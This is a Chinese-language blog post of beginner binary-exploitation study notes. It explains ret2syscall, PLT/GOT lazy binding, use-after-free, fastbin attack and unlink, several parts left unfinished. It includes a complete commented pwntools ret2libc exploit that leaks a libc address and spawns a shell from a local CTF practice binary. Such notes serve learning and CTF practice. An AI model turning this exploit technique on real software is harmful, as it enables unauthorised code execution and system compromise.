libcpwn漏洞利用-入门

ROP

ret2syscall

通过ROPgadget跳来跳去给eax-edx赋值,最后跳到int 0x80上来触发execve

ret2libc

这个感觉有点意思,首先需要通过write或者puts来泄漏__libc_start_main的地址,然后通过LibcSearcher找到system的偏移,再ret到system。下面详细解析一下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

# 这里为啥有个plt有got呢?因为我们需要puts的地址来调用puts,因此需要puts调用地址,而__libc_start_main是用来获得偏移的,因此需要libc中的真实地址,恰好刚运行时最开始__libc_start_main已经调用过一次,因此got里存的就是他的libc地址。symbol就是获得符号表里的地址。
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print "leak libc_start_main_got addr and return to main again"
# 通过布置栈实现puts(__libc_start_main)拿到got表里存的地址。返回地址为main的原因是要puts后ret到main来重新运行main,第二次调用puts来getshell
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
# LibcSearcher的应用
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print "get shell"
# 重新布置通过system来getshell
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

ret2dl

基础知识

汇编

1
2
3
4
5
6
7
8
9
调用先push ebp; mov ebp,esp保存旧栈,布置新栈

返回先
leave:
mov esp,ebp
pop ebp(恢复到上一个函数栈)

ret:
pop eip

pwndbg

pwndbg - https://23r3f.github.io/2018/12/03/GDB%E5%8F%8A%E5%85%B6%E6%8F%92%E4%BB%B6%E7%9A%84%E5%B8%B8%E7%94%A8%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7/

对got和plt的学习

首先要学的一个概念:延迟绑定

我的通俗理解:
plt存的是函数调用地址,即当我们call func时调用的函数的地址,我们想通过ret2xx来调用函数就需要返回到这个地址。got一开始存的都是plt中第二条指令的地址。因此在第一次执行时,首先plt跳到got然后got跳回plt,然后plt执行plt[0]部分的代码(dl_runtime_resolve),完成绑定got表。当第二次执行时,got中存的就是libc中函数的真实地址了,因此直接plt->got->libc_func

详细解释:

第1步:不直接调用addvec,程序调用进入PLT[2],这是addvec的PLT条目。
第2步:第一条PLT指令通过GOT[4]进行间接跳转。因为第一次调用时每个GOT条目都指向它对应的PLT条目的第二条指令,这个间接跳转只是简单地把控制传送回PLT[2]中的下一条指令。
第3步:把addvec的ID(0x1)压人栈中之后,PLT[2]跳转到PLT[0]。
第4步:PLT[0]通过GOT[1]间接地把动态链接器的一个参数压人栈中,然后通过GOT[2]间接跳转进动态链接器中。动态链接器使用两个栈条目来确定addvec的运行时位置,用这个地址重写GOT[4],再把控制传递给addvec(这部分的具体操作要参考dl_runtime_resolve)。

图7-19b是后续再调用addvec时的控制流:
第1步:和前面一样,控制传递到PLT[2]。
第2步:不过这次通过GOT[4]的间接跳转会将控制直接转移到addvec

dl_runtime_resolve

咕咕咕

UAF

前置知识

  1. dangerous pointer
    迷途指针,或称悬空指针、野指针,指的是不指向任何合法的对象的指针,这里指向被释放的内存。通常是由于释放内存后,未将指针置为NULL导致。
  2. UAF概念
    Use After Free就是当一个内存块被释放之后再次被使用,这里有以下几种情况:
    • 内存块被释放后,其对应的指针被设置为 NULL,然后再次使用,程序会崩溃。
    • 内存块被释放后,其对应的指针没有被设置为 NULL,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
    • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

利用

通过unlink、fastbin attack利用

Fastbin Attack

深度好文 https://blog.csdn.net/Breeze_CAT/article/details/103788698

本质就是先通过溢出/uaf等修改堆块指针或者大小,使一个堆块在被free后,其内容仍然能被控制,这样通过malloc已free的堆块,就能实现任意写重新malloc的堆块的fd指向的地址的值。

Q1: 为啥会fd bk写成malloc_hook的地址,你malloc后就能任意地址写。
Q2: 那个0x7f到底是个啥
Q3: unsorted bin怎么泄漏基址的

unlink的原理不说了,让
FD=p->fd(实际是ptr-0x18)
BK=p->bk(实际是ptr-0x10)
就能任意写ptr地址

double free在这里的作用是布局堆结构,先free两个堆块0,1,此时为1->0, 然后malloc一个大小为0+1的,然后布局0,然后free 0即可写&0-0x18地址,这样通过改写1里的布局就能影响到0了。(还是有点懵,TODO)

PHP Pwn学习

其实和libc一样,主要还是环境搭建吧,参考minclude那题的环境,注意最后小版本不对应没关系,中间和大版本对应就好,然后一般是各个so,正确配置加载即可。

咕咕咕

-w520

Proudly powered by Hexo and Theme by Hacker
© 2021 LFY